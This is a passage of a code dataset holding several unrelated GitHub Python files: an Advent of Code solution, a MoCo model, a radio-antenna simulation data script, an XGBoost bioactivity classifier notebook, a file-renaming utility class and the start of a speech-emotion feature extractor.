print(u\"----------------\")\n\nsetup()\n","repo_name":"ahmedbodi/stratum-server","sub_path":"lib/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73591143930","text":"from Utils import *\n\n# Part 1\n\ninp = rdl(\"8.txt\")\n\nprint(inp)\n\n# inp = ['rect 3x2',\n#        'rotate column x=1 by 1',\n#        'rotate row y=0 by 4',\n#        'rotate column x=1 by 1']\n\ngrid = dict()\n\npix_w = 50\npix_h = 6\n\nfor x in range(pix_h):\n    for y in range(pix_w):\n        grid[(x, y)] = 0\n\nfor line in inp:\n    ss = line.split(' ')\n\n    if ss[0] == 'rect':\n        dim = ss[1].split('x')\n        w = int(dim[0])\n        h = int(dim[1])\n\n        for x in range(h):\n            for y in range(w):\n                grid[(x, y)] = 1\n\n    elif ss[0] == 'rotate':\n        which = int(ss[2].split('=')[1])\n        amt = int(ss[-1])\n\n        old_grid = grid.copy()\n\n        if ss[1] == 'row':\n            for x in range(pix_w):\n                grid[(which, x)] = old_grid[(which, (x - amt) % pix_w)]\n        elif ss[1] == 'column':\n            for x in range(pix_h):\n                grid[(x, which)] = old_grid[((x - amt) % pix_h, which)]\n\nprint(sum(grid.values()))\n\n# 9:31 (9th)\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\n\ndf = pd.DataFrame({'x': [k[0] for k in grid],\n                   'y': [k[1] for k in grid],\n                   'z': [grid[k] for k in grid]})\n\ndata = df.pivot(index='x', columns='y', values='z')\nsns.heatmap(data)\nplt.show()\n\n# 32:21 (> 100th)","repo_name":"bjebert/adventofcode","sub_path":"2016/8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"73109774328","text":"import torch\nimport torch.distributed as dist\nimport torch.nn as nn\nimport numpy as np\nimport torchvision.transforms as transforms\nimport torchvision\nimport torchvision.models as torchvision_models\nfrom functools import partial\n\nimport torch\nimport torch.nn as nn\n\n\nclass MoCo(nn.Module):\n    \"\"\"\n    Build a MoCo model with a base encoder, a momentum encoder, and two MLPs\n    https://arxiv.org/abs/1911.05722\n    \"\"\"\n    def __init__(self, base_encoder, dim=256, mlp_dim=4096, T=1.0):\n        \"\"\"\n        dim: feature dimension (default: 256)\n        mlp_dim: hidden dimension in MLPs (default: 4096)\n        T: softmax temperature (default: 1.0)\n        \"\"\"\n        super(MoCo, self).__init__()\n\n        self.T = T\n\n        # build encoders\n        self.base_encoder = base_encoder(num_classes=mlp_dim)\n        self.momentum_encoder = base_encoder(num_classes=mlp_dim)\n\n        self._build_projector_and_predictor_mlps(dim, mlp_dim)\n\n        for param_b, param_m in zip(self.base_encoder.parameters(), self.momentum_encoder.parameters()):\n            param_m.data.copy_(param_b.data)  # initialize\n            param_m.requires_grad = False  # not update by gradient\n\n    def _build_mlp(self, num_layers, input_dim, mlp_dim, output_dim, last_bn=True):\n        mlp = []\n        for l in range(num_layers):\n            dim1 = input_dim if l == 0 else mlp_dim\n            dim2 = output_dim if l == num_layers - 1 else mlp_dim\n\n            mlp.append(nn.Linear(dim1, dim2, bias=False))\n\n            if l < num_layers - 1:\n                mlp.append(nn.BatchNorm1d(dim2))\n                mlp.append(nn.ReLU(inplace=True))\n            elif last_bn:\n                # follow SimCLR's design: https://github.com/google-research/simclr/blob/master/model_util.py#L157\n                # for simplicity, we further removed gamma in BN\n                mlp.append(nn.BatchNorm1d(dim2, affine=False))\n\n        return nn.Sequential(*mlp)\n\n    def _build_projector_and_predictor_mlps(self, dim, mlp_dim):\n        pass\n\n    @torch.no_grad()\n    def _update_momentum_encoder(self, m):\n        \"\"\"Momentum update of the momentum encoder\"\"\"\n        for param_b, param_m in zip(self.base_encoder.parameters(), self.momentum_encoder.parameters()):\n            param_m.data = param_m.data * m + param_b.data * (1. - m)\n\n    def contrastive_loss(self, q, k):\n        # normalize\n        q = nn.functional.normalize(q, dim=1)\n        k = nn.functional.normalize(k, dim=1)\n        # gather all targets\n        k = concat_all_gather(k)\n        # Einstein sum is more intuitive\n        logits = torch.einsum('nc,mc->nm', [q, k]) / self.T\n        N = logits.shape[0]  # batch size per GPU\n        labels = (torch.arange(N, dtype=torch.long) + N * torch.distributed.get_rank()).cuda()\n        return nn.CrossEntropyLoss()(logits, labels) * (2 * self.T)\n\n    def forward(self, x1, x2, m):\n        \"\"\"\n        Input:\n            x1: first views of images\n            x2: second views of images\n            m: moco momentum\n        Output:\n            loss\n        \"\"\"\n\n        # compute features\n        q1 = self.predictor(self.base_encoder(x1))\n        q2 = self.predictor(self.base_encoder(x2))\n\n        with torch.no_grad():  # no gradient\n            self._update_momentum_encoder(m)  # update the momentum encoder\n\n            # compute momentum features as targets\n            k1 = self.momentum_encoder(x1)\n            k2 = self.momentum_encoder(x2)\n\n        return self.contrastive_loss(q1, k2) + self.contrastive_loss(q2, k1)\n\n\nclass MoCo_ResNet(MoCo):\n    def _build_projector_and_predictor_mlps(self, dim, mlp_dim):\n        hidden_dim = self.base_encoder.fc.weight.shape[1]\n        del self.base_encoder.fc, self.momentum_encoder.fc # remove original fc layer\n\n        # projectors\n        self.base_encoder.fc = self._build_mlp(2, hidden_dim, mlp_dim, dim)\n        self.momentum_encoder.fc = self._build_mlp(2, hidden_dim, mlp_dim, dim)\n\n        # predictor\n        self.predictor = self._build_mlp(2, dim, mlp_dim, dim, False)\n\n\nclass MoCo_ViT(MoCo):\n    def _build_projector_and_predictor_mlps(self, dim, mlp_dim):\n        hidden_dim = self.base_encoder.head.weight.shape[1]\n        del self.base_encoder.head, self.momentum_encoder.head # remove original fc layer\n\n        # projectors\n        self.base_encoder.head = self._build_mlp(3, hidden_dim, mlp_dim, dim)\n        self.momentum_encoder.head = self._build_mlp(3, hidden_dim, mlp_dim, dim)\n\n        # predictor\n        self.predictor = self._build_mlp(2, dim, mlp_dim, dim)\n\n\n# utils\n@torch.no_grad()\ndef concat_all_gather(tensor):\n    \"\"\"\n    Performs all_gather operation on the provided tensors.\n    *** Warning ***: torch.distributed.all_gather has no gradient.\n    \"\"\"\n    tensors_gather = [torch.ones_like(tensor)\n        for _ in range(torch.distributed.get_world_size())]\n    torch.distributed.all_gather(tensors_gather, tensor, async_op=False)\n\n    output = torch.cat(tensors_gather, dim=0)\n    return output\n\n\n# def get_feature(dataset):\n#     dist.init_process_group(backend='nccl', init_method='tcp://localhost:10088',\n#                                 world_size=1, rank=0)\n    \n#     model = MoCo_ResNet(\n#             partial(torchvision_models.__dict__['resnet50'], zero_init_residual=True), \n#             64, 4096, 1.0)\n#     model = model.cuda()\n#     model = torch.nn.parallel.DistributedDataParallel(model)\n#     checkpoint = torch.load('cifar10/resnet50/checkpoint_0900.pth.tar')\n#     model.load_state_dict(checkpoint['state_dict'])\n#     model.eval()\n#     loader_te = torch.utils.data.DataLoader(\n#         dataset,\n#         batch_size=256, shuffle=False,\n#         num_workers=20, pin_memory=True)\n#     feature_list = []\n#     Y_list = []\n#     with torch.no_grad():\n#         for i, (x, y) in enumerate(loader_te):\n#             x, y = x.cuda(), y.cuda()\n#             feature = model.module.predictor(model.module.base_encoder(x))\n#             feature = nn.functional.normalize(feature, dim=1)\n#             feature_list.extend(feature.cpu().detach().numpy())\n#             Y_list.extend(y.cpu().numpy())\n\n#     return np.array(feature_list),np.array(Y_list)\n\n\n# _cifar10_MEAN, _cifar10_STD = (0.4914, 0.4822, 0.4465), (0.2470, 0.2435, 0.2616)\n# normalize = transforms.Normalize(mean=_cifar10_MEAN, std=_cifar10_STD)\n# val_transform = transforms.Compose([\n#         transforms.Resize(32),\n#         # transforms.CenterCrop(28),\n#         transforms.ToTensor(),\n#         normalize,\n#         ])\n# dataset1 = torchvision.datasets.CIFAR10('/research/d4/gds/mxchen21/mixian/datasets/cifar10', transform=val_transform, train=True, download=True)\n# dataset2 = torchvision.datasets.CIFAR10('/research/d4/gds/mxchen21/mixian/datasets/cifar10', transform=val_transform, train=False, download=True)\n# dataset = torch.utils.data.ConcatDataset([dataset1, dataset2])\n# fe,y = get_feature(dataset)\n# print(fe.shape)","repo_name":"cure-lab/HybridRepair","sub_path":"mymodels/moco.py","file_name":"moco.py","file_ext":"py","file_size_in_byte":6874,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"9076960548","text":"#Run this from the ML folder (which should contain fake_0.txt ->-> fake_9999.txt, antpos_ful.dat and D40000-Z45-1003014.inp). Probably don't put this in Dropbox because it's going to make a big 4.32Gb numpy file and probably a movie too :)\n\n#%matplotlib inline\n\nfrom astropy.io import fits\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport tqdm\nfrom matplotlib import animation, rc\nfrom IPython.display import HTML\n\n\n\nwholearray='./MLtoy_antenna.list'\n\nsimdir=\"./test_nu/000001/\"\ninpfile=simdir+'000001.inp'\n\n\n\n\n#### Make array flat square\n#Ideally we want the array to be a flat square (or something similar) at least to start with. The first 180 antennas are in this form but the rest are randomly placed.\n\narray_positions = np.loadtxt(wholearray)\n\n#First, let's look at where the arrays are located in 3D.\n\nax = plt.figure(figsize = (10., 9.)).add_subplot(111, projection = '3d')\nax.scatter(array_positions[:, 0], array_positions[:, 1], array_positions[:, 2], s = 1)\nax.set_xlabel('x')\nax.set_ylabel('y')\nax.set_zlabel('z')\nax.view_init(elev = 50., azim = 220.)\nplt.show()\n\n\n# sorting\nxs = sorted(list(set(array_positions[: 1225, 0])))\nys = sorted(list(set(array_positions[: 1225, 1])))\nzs = sorted(list(set(array_positions[: 1225, 2])))\n# laziness\nnew_array_positions = array_positions\n\n##### Label the antennas by array position\n##We want to make an array which represents the positions of each antenna in real space. This means we need the array index of each antenna so we know which array index to populate with which file. We will start at the lowest, closest antenna (in x, y and z) and go across in x until we reach the end of the array and then move along in y. We search for the antenna by position and then we add a tuple where the first element is the file/antenna label and a second element is another tuple with x and y positions\n\narray_indices_array = []\nfor y_index in range(len(ys)):\n    for x_index in range(len(xs)):\n        antenna_location = np.array([xs[x_index], ys[y_index], zs[x_index]])\n        array_indices_array.append((np.argwhere(np.equal(antenna_location, new_array_positions).all(1))[0][0], (x_index, y_index)))\narray_indices = dict(array_indices_array)   \n#print array_indices_array\n\n\n\n\n### Anne: after producing the fake-files, all the index of the antenna in the list will give you the corresponding file index=0 -> fake0\n\n\n#### Load event information\n#We can load the event information from the .inp file. These will all be saved in the same event file at the end.\n\nwith open(inpfile, 'r') as file:\n    for line in file.readlines():\n        if 'PrimaryParticle' in line:\n            particle = line.split()[1]\n        if 'PrimaryEnergy' in line:\n            energy = np.float(line.split()[1])\n        if 'PrimaryZenAngle' in line:\n            zenith = np.float(line.split()[1])\n        if 'PrimaryAzimAngle' in line:\n            azimuth = np.float(line.split()[1])\n            \n            \n### Get time array\n#Grab the time array from the first antenna. Since the time arrays are the same in all the files we can just use the first one. We don't actually use it at all, but it's probably worth saving anyway.\n\nantenna_data = np.loadtxt(simdir+'/fake_0.txt')\ntime = antenna_data[:, 0]\n\n### Create numpy array of entire event\n#We can contain the entire event in a numpy array which is the shape of the array at each time step in the three directions. This is 4.32Gb in size, so quite big - but greatly compressed from the separate txt format and very quick to access all of the information that we might want to use.\n\narray = np.zeros((time.shape[0], len(xs), len(ys), 3))\n\n### Populate the array\n##Simply loop through the files and put all the data from each antenna into the correct array position using the indices we found before. This might take quite a long time due to the I/O time of loading and processing the .txt file\n\nfor antenna in tqdm.tqdm(range(array_positions.shape[0])):\n    antenna_data = np.loadtxt(simdir+'/fake_' + str(antenna) + '.txt')[:, 1:]\n    array[:, array_indices[antenna][0], array_indices[antenna][1], :] = antenna_data\n\n### Save the event\n#We can use a .npz file format to save the data. This is a compressed binary format which can save several arrays into one file.\n\nnp.savez('event.npz', particle = particle, energy = energy, zenith = zenith, azimuth = azimuth, array = array, time = time, array_positions = new_array_positions)\n\n### Notes\n#It's important that all the array positions are constant over every single event (which is obvious) but it's also important that the time arrays are the same in every event. The initial time does not need to be the beginning of the shower. One interesting thing that we will find that if we use the initial time as the start of the shower then the network will actually extract more information (artificially) about how long it takes for the shower to reach the array (which is a priori unknown, but is available information in an online setting) to do the classification. This is either deceptive or cool depending on which way you look at it.\n#Anne: the initial time when the shower starts is just know in simulations since there the time starts with the first interaction of the shower. In the expereiment, just the realtive timing between single antennas will be known.\n\n        \n        \n        \n        \n        \n#### Test loaded array\n#To check that the arrays have been loaded correctly we can plot the difference between the maximum and the minimum signals over all time bins for the 100x100 array which should give a ring over the simulated antennas which are in the low-x low-y corner of the entire array.\nTEST=True\nif TEST:\n    maximum_minimum_difference = np.max(array, axis = 0) - np.min(array, axis = 0)\n    min_diff = np.min(maximum_minimum_difference)\n    max_diff = np.max(maximum_minimum_difference)\n    fig, ax = plt.subplots(1, 3, sharey = True, figsize = (15., 5.))\n    ax[0].contourf(xs, ys, maximum_minimum_difference[:, :, 0], levels = np.linspace(min_diff, max_diff, 25))\n    ax[1].contourf(xs, ys, maximum_minimum_difference[:, :, 1], levels = np.linspace(min_diff, max_diff, 25))\n    ax[2].contourf(xs, ys, maximum_minimum_difference[:, :, 2], levels = np.linspace(min_diff, max_diff, 25))\n    ax[0].set_xlabel('x')\n    ax[0].set_ylabel('y')\n    ax[0].set_title('x voltage')\n    ax[1].set_xlabel('x')\n    ax[1].set_title('y voltage')\n    ax[2].set_xlabel('x')\n    ax[2].set_title('z voltage');\n\n    min_array = np.min(array)\n    max_array = np.max(array)\n    contour = []\n\n    rc('animation', html='html5')\n    rc('figure', max_open_warning = 20000)\n    fig, ax = plt.subplots(1, 3, sharey = True, figsize = (15., 5.))\n    ax[0].set_xlim([xs[0], xs[-1]])\n    ax[0].set_ylim([ys[0], ys[-1]])\n    ax[0].set_xlabel('x')\n    ax[0].set_ylabel('y')\n    ax[0].set_title('x voltage')\n    ax[1].set_xlim([xs[0], xs[-1]])\n    ax[1].set_ylim([ys[0], ys[-1]])\n    ax[1].set_xlabel('x')\n    ax[1].set_title('y voltage')\n    ax[2].set_xlim([xs[0], xs[-1]])\n    ax[2].set_ylim([ys[0], ys[-1]])\n    ax[2].set_xlabel('x')\n    ax[2].set_title('z voltage')\n\n    images = []\n    for timestep in tqdm.tqdm(range(time.shape[0])):\n        image1 = ax[0].imshow(array[timestep, :, :, 0], extent=[xs[0], xs[-1], ys[0], ys[-1]], aspect='auto', vmin = min_array, vmax = max_array)\n        image2 = ax[1].imshow(array[timestep, :, :, 1], extent=[xs[0], xs[-1], ys[0], ys[-1]], aspect='auto', vmin = min_array, vmax = max_array)\n        image3 = ax[2].imshow(array[timestep, :, :, 2], extent=[xs[0], xs[-1], ys[0], ys[-1]], aspect='auto', vmin = min_array, vmax = max_array)\n        image4 = ax[0].text(41000, 21000, 'time = ' + '%.9f' % time[timestep] + 's')\n        add_arts = [image1, image2, image3, image4]\n        images.append(add_arts)\n    ani = animation.ArtistAnimation(fig, images)\n    FFwriter = animation.FFMpegWriter(fps = 100)\n    ani.save('event.mp4', writer = FFwriter)\n    ani","repo_name":"grand-mother/neuralnetwork","sub_path":"RCNN_data_structure.py","file_name":"RCNN_data_structure.py","file_ext":"py","file_size_in_byte":7958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30389604536","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ### Extreme Gradient Boosting (XGBoost) Classification for Binding Affinity Prediction\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n# #### Load ChEMBL bioactivity data\n\n# In[2]:\n\n\nfrom rdkit import Chem\nfrom rdkit.Chem.Draw import MolsToGridImage\nfrom rdkit.Chem import PandasTools\n\nchembl_bioactivity_df = pd.read_pickle('../data/chembl_bioactivity_data.pkl')\n\n\n# In[3]:\n\n\nchembl_bioactivity_df.shape\n\n\n# In[4]:\n\n\nfrom rdkit.Chem.SaltRemover import SaltRemover\n\ndef unsalt(smiles):\n    remover = SaltRemover()\n    #print(remover.salts)\n    mol = Chem.MolFromSmiles(smiles)\n    mol, deleted = remover.StripMolWithDeleted(mol)\n    #print([Chem.MolToSmarts(s) for s in deleted])\n    return Chem.MolToSmiles(mol, True)\n\nchembl_bioactivity_ml_df = chembl_bioactivity_df[['molecule_chembl_id', 'canonical_smiles', 'mean_pchembl_value']].copy()\n\n#remove salts\nsmiles = list(map(lambda i: unsalt(i), list(chembl_bioactivity_ml_df['canonical_smiles'])))\n\nchembl_bioactivity_ml_df['smiles']  = smiles\n#chembl_bioactivity_ml_df.head()\n\nmols = [Chem.MolFromSmiles(smi) for smi in chembl_bioactivity_ml_df['smiles']]  #sanitize=True default\n\n\n# #### Featurize the ChEMBL dataset\n# \n# #### Calculate Molecular Descriptors\n\n# In[5]:\n\n\nimport deepchem as dc\n\n#if use_fragment = True, a total of 208 descriptors are returned to include fragment binary descriptors like 'fr_'\nmd_featurizer = dc.feat.RDKitDescriptors(use_fragment = False)\n\nfeatures_md = md_featurizer.featurize(mols)\n#features_md is a N x 123 array containing the 123 molecular descriptors(physiochemical properties) for the 1502 molecules\nprint(features_md.shape)\nfeatures_md[:5]\n\n\n# In[6]:\n\n\n#from rdkit.ML.Descriptors import MoleculeDescriptors\n\n#calculated rdkit descriptors\ndescriptors = []\ndescList = []\nfrom rdkit.Chem import Descriptors\nfor descriptor, function in Descriptors.descList:\n    if descriptor.startswith('fr_'):\n        continue\n    descriptors.append(descriptor)\n    descList.append((descriptor, function))\nprint(descriptors)\nprint(len(descriptors))\n\n\n# #### Dataset preparation\n\n# In[7]:\n\n\ndataset = pd.DataFrame(data=features_md, columns=descriptors)\ndataset['Activity'] = chembl_bioactivity_ml_df['mean_pchembl_value'].astype(float)\n\n\n# In[8]:\n\n\n#### Summary of the dataset\ndataset.info()\n\n\n# In[9]:\n\n\n#### Summary statistics of the dataset\ndataset.describe()\n\n\n# In[10]:\n\n\n#### Correlation matrix\ncorr=dataset.corr()\nmask=np.triu(np.ones_like(corr,dtype=bool))\nf,ax = plt.subplots(figsize=(15,12))\ncmap = sns.diverging_palette(230,20, as_cmap=True)\nsns.heatmap(corr,cmap=cmap,mask=mask,linewidth=0.5,square=True,center=0)\n\n\n# In[11]:\n\n\n#### Distributions of descriptors\n#color = '#a9cce3'\n#dataset.hist(bins=15,figsize=(25,15),color=color)\n#plt.rcParams['font.size'] = 18\n#plt.show()\n\n\n# In[12]:\n\n\n#### Make Activity categorical\ndataset['Activity'] = np.where(dataset['Activity'] >=7.0, 1, 0)\ndataset.head()\n\n\n# #### Create feature matrix (X) and target vector (y)\n\n# In[13]:\n\n\nX = dataset.drop('Activity', axis=1)\ny = dataset['Activity']\n\n\n# In[14]:\n\n\nX.head()\n\n\n# In[15]:\n\n\ny.head()\n\n\n# #### Split dataset in train and test datasets\n\n# In[16]:\n\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, random_state=42, shuffle=True)\n\n\n# In[17]:\n\n\nX_train.shape\n\n\n# In[18]:\n\n\nX_test.shape\n\n\n# #### XGBoost Classifier model\n\n# In[21]:\n\n\nget_ipython().system(' pip install xgboost')\n\n\n# In[22]:\n\n\nfrom xgboost import XGBClassifier\n\nparams = {'objective':'binary:logistic',\n          'max_depth':5, \n          'alpha':10, \n          'learning_rate':0.1, \n          'n_estimators':250,\n          'random_state':42}\n\nxgb_clf = XGBClassifier(**params)\n\nxgb_clf.fit(X_train, y_train)\n\n\n# In[23]:\n\n\ny_pred = xgb_clf.predict(X_test)\ny_pred\n\n\n# In[24]:\n\n\nfrom sklearn.metrics import accuracy_score\n\naccuracy_score(y_test, y_pred)\n\n\n# In[25]:\n\n\nfrom sklearn.metrics import confusion_matrix\n\ncm = confusion_matrix(y_test, y_pred, labels=[1,0])\nprint(cm)\n\n\n# In[26]:\n\n\nfrom sklearn.metrics import classification_report\n\ncr = classification_report(y_test, y_pred)\nprint(cr)\n\n\n# #### Feature Importance\n\n# In[27]:\n\n\nfrom xgboost import plot_importance\nplot_importance(xgb_clf, height=0.4, max_num_features=14)\n\n\n# #### XGBoost k-fold cross validation model\n\n# In[28]:\n\n\n#### convert the dataset into the Dmatrix optimized data structure supported by XGBoost \n#### that gives its performance and efficiency gains.\n\nfrom xgboost import DMatrix\n\ndata_dmatrix = DMatrix(data=X,label=y)\n\n\n# In[29]:\n\n\nfrom xgboost import cv\n\nparams = {'objective':'binary:logistic',\n          'max_depth':5, \n          'alpha':10, \n          'learning_rate':0.1, \n          'random_state':42, \n          'colsample_bytree':0.3}\n\nxgb_cv = cv(dtrain=data_dmatrix, params=params, nfold=10,\n            num_boost_round=50, early_stopping_rounds=10, metrics=\"auc\", \n            as_pandas=True, seed=42)\n\n\n# In[30]:\n\n\nxgb_cv.head()\n\n\n# In[31]:\n\n\nxgb_cv.describe()\n\n\n# #### XGBoost hyperparameters tuning with HYPEROPT Bayesian optimization\n\n# In[32]:\n\n\nget_ipython().system(' pip install hyperopt')\n\n\n# In[33]:\n\n\n# import packages for hyperparameters tuning\nfrom hyperopt import STATUS_OK, Trials, fmin, hp, tpe\n\n\n# In[34]:\n\n\nspace={'max_depth': hp.quniform(\"max_depth\", 4, 18, 1),\n        'gamma': hp.uniform ('gamma', 1,9),\n        'reg_alpha' : hp.quniform('reg_alpha', 10,180,1),\n        'reg_lambda' : hp.uniform('reg_lambda', 0,1),\n        'colsample_bytree' : hp.uniform('colsample_bytree', 0.3, 1),\n        'min_child_weight' : hp.quniform('min_child_weight', 0, 10, 1),\n        'eval_metric':\"auc\",\n        'early_stopping_rounds': hp.uniform('early_stopping_rounds', 2, 20),\n        'n_estimators': hp.uniform('n_estimators', 50, 500),\n        'seed': 42}\n\n\n# In[35]:\n\n\ndef objective(space):\n    clf=XGBClassifier(\n                    n_estimators = int(space['n_estimators']), max_depth = int(space['max_depth']), gamma = space['gamma'],\n                    reg_alpha = int(space['reg_alpha']),min_child_weight=int(space['min_child_weight']),\n                    early_stopping_rounds= int(space['early_stopping_rounds']),\n                    colsample_bytree=int(space['colsample_bytree']))\n    \n    evaluation = [ ( X_train, y_train), ( X_test, y_test)]\n    \n    clf.fit(X_train, y_train,\n            eval_set=evaluation,\n            verbose=False)\n    \n\n    pred = clf.predict(X_test)\n    accuracy = accuracy_score(y_test, pred>0.5)\n    print (\"SCORE:\", accuracy)\n    return {'loss': -accuracy, 'status': STATUS_OK }\n\n\n# In[36]:\n\n\ntrials = Trials()\n\nbest_hyperparams = fmin(fn = objective,\n                        space = space,\n                        algo = tpe.suggest,\n                        max_evals = 200,\n                        trials = trials)\n\n\n# In[37]:\n\n\nbest_hyperparams\n\n\n# In[38]:\n\n\nimport sklearn\nprint(\"Scikit-Learn: \", sklearn.__version__)\n\nimport rdkit\nprint(\"RDKit: \", rdkit.__version__)\n\nfrom platform import python_version\nprint(\"Python: \", python_version())\nprint(\"Numpy: \", np.__version__)\nprint(\"Pandas: \", pd.__version__)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"ariellelavc/portfolio","sub_path":"Machine_Learning/XGBoost_Classification/notebooks/XGBoost.py","file_name":"XGBoost.py","file_ext":"py","file_size_in_byte":7187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"37492603341","text":"import os\nimport re\nimport subprocess\nimport sys\nimport uuid\nfrom pathlib import Path\n\nfrom textual.message import Message\nfrom textual.widgets import DataTable\nfrom textual.widgets.data_table import RowKey\n\nfrom . import ICONS\nfrom .text_plus import TextPlus\n\n\nclass PathRow:\n    class PathRenamed(Message):\n        \"\"\"Sent when a row (path) is renamed.\"\"\"\n\n        def __init__(self, path: Path, row_key: RowKey, previous_path: Path) -> None:\n            self.path = path\n            self.row_key = row_key\n            self.previous_path = previous_path\n            super().__init__()\n\n    def __init__(self, path: Path, parent: DataTable) -> None:  # type: ignore[type-arg]\n        self.path = path if path.is_absolute() else path.absolute()\n        self.parent = parent\n        self.app = parent.app\n        self.row_key: RowKey = RowKey(str(uuid.uuid4()))\n        self._new_name: str = self.path.name\n        self._new_path: Path = self.path\n\n    @property\n    def row_info(self) -> tuple[str, str, TextPlus]:\n        return (self.icon, self.path.name, self.new_name_pretty)\n\n    @property\n    def icon(self) -> str:\n        return self.overwrite_alert if self.overwrite_alert else self.kind\n\n    @property\n    def kind(self) -> str:\n        return ICONS[\"folder\"] if self.path.is_dir() else ICONS[\"file\"]\n\n    @property\n    def new_name(self) -> str:\n        return self._new_name\n\n    @new_name.setter\n    def new_name(self, value: str) -> None:\n        if value == self.new_name:\n            return\n        self._new_name = value if value else self.path.name\n        self.update_row()\n\n    @property\n    def new_name_pretty(self) -> TextPlus:\n        return (\n            TextPlus(self.path.name, style=\"dim\")\n            if self.new_name == self.path.name\n            else TextPlus(self.new_name, style=\"bold\")\n        )\n\n    @property\n    def new_path(self) -> Path:\n        return self.path.parent.joinpath(self.new_name)\n\n    def reset(self) -> None:\n        self.new_name = self.path.name\n        self.update_row()\n\n    def apply_substitution(\n        self,\n        find: re.Pattern[str],\n        replace: str,\n        first_match: bool,\n        ignore_extension: bool,\n    ) -> None:\n        \"\"\"Apply regex substitution to the current path name.\n\n        Args:\n            find: Regular expression pattern to use for matching.\n            replace: Regular expression pattern to use for substitution.\n            first_match: Regular expression will only match the first occurrence.\n            ignore_extension: Ignore path extension (if applicable)\n            when applying regex substitution.\n        \"\"\"\n\n        \"\"\"Apply regex substitution to the current path name.\n\n        Args:\n            find: Regular expression pattern to use for matching.\n            replace: Regular expression pattern to use for substitution.\n            first_match: Regular expression will only match the first occurrence.\n        \"\"\"\n        current_name = (\n            self.path.stem\n            if ignore_extension and not self.path.is_dir()\n            else self.path.name\n        )\n        name_after_substitution = find.sub(\n            replace, current_name, 1 if first_match else 0\n        )\n        self.new_name = (\n            name_after_substitution + self.path.suffix\n            if ignore_extension and not self.path.is_dir()\n            else name_after_substitution\n        )\n\n    def update_row(self) -> None:\n        \"\"\"Update a table tow with new information.\"\"\"\n        self.parent.call_after_refresh(\n            self.parent.update_cell,\n            self.row_key,\n            \"icon\",\n            self.icon,\n            update_width=True,\n        )\n        self.parent.call_after_refresh(\n            self.parent.update_cell,\n            self.row_key,\n            \"current_name\",\n            self.path.name,\n            update_width=True,\n        )\n        self.parent.call_after_refresh(\n            self.parent.update_cell,\n            self.row_key,\n            \"new_name\",\n            self.new_name_pretty,\n            update_width=True,\n        )\n\n    @property\n    def overwrite_alert(self) -> str:\n        if self.new_path.exists() and self.path.name.lower() != self.new_name.lower():\n            return ICONS[\"alert\"]\n        return \"\"\n\n    def rename(self) -> None:\n        previous_path = self.path\n        self.path = self.path.replace(self.new_path)\n        self.new_name = self.path.name\n        self.update_row()\n        self.app.post_message(self.PathRenamed(self.path, self.row_key, previous_path))\n\n    def reveal_path(self) -> None:\n        \"\"\"Reveal a path on the system.\"\"\"\n        platform = sys.platform\n        if platform == \"win32\":\n            opener = \"os.startfile\"\n            os.startfile(self.path)  # type: ignore\n        else:\n            opener = \"open\" if platform == \"darwin\" else \"xdg-open\"\n            subprocess.call([opener, self.path])\n\n    def __eq__(self, other: object) -> bool:\n        \"\"\"Returns True if both instances have the same path.\"\"\"\n        if not isinstance(other, PathRow):\n            return False\n        return self.path == other.path\n","repo_name":"joshbduncan/re-renamer","sub_path":"src/re_renamer/path_row.py","file_name":"path_row.py","file_ext":"py","file_size_in_byte":5112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19769506102","text":"import librosa\r\nimport soundfile\r\nimport os,glob,pickle\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neural_network import MLPClassifier\r\nfrom sklearn.metrics import accuracy_score\r\n\r\n\r\ndef extract_feature(file_name, mfcc, chroma, mel):\r\n    X, sample_rate = librosa.load(os.path.join(file_name),res_type='kaiser_fast')\r\n    if chroma:\r\n        stft = np.abs(librosa.stft(X))\r\n    result = np.array([])\r\n    if mfcc:\r\n        mfccs = np.mean(librosa.feature.mfcc(y=X, sr=sample_rate, n_mfcc=40).T, axis=0)\r\n        result = np.hstack((result, mfccs))\r\n    if chroma:\r\n        chroma = np.mean(librosa.feature.chroma_stft(S = stft, sr=sample_rate).T, axis=0)\r\n        result = np.hstack((result, chroma))\r\n    if mel:\r\n        mel = np.mean(librosa.feature.melspectrogram(y=X, sr=sample_rate).T, axis=0)\r\n        result = np.hstack((result, mel))\r\n    return result\r\n\r\nemotions={\r\n    '01':'neutral',\r\n    '02':'calm',\r\n    '03':'happy',\r\n    '04':'sad',\r\n    '05':'angry',\r\n    '06':'fearful',\r\n    '07':'disgust',\r\n    '08':'surprised'\r\n}\r\n\r\n#Emotions to observe\r\nobserved_emotions=['calm','happy','fearful','disgust']\r\n\r\n#load the data and extract features for each sound file\r\ndef load_data(test_size=0.2):\r\n    x,y=[],[]\r\n    for file in glob.glob(\"C:/Users/ashwi/speech/archive (4)/Actor_*/*.wav\"):\r\n        file_name=os.path.basename(file)\r\n        emotion=emotions[file_name.split(\"-\")[2]]\r\n        if emotion not in observed_emotions:\r\n            continue\r\n        feature=extract_feature(file,mfcc=True,chroma=True,mel=True)\r\n        x.append(feature)\r\n        y.append(emotion)\r\n    return train_test_split(np.array(x),y,test_size=test_size,train_size=0.75,random_state=9)\r\n\r\nfiles=\"C:/Users/ashwi/speech/archive 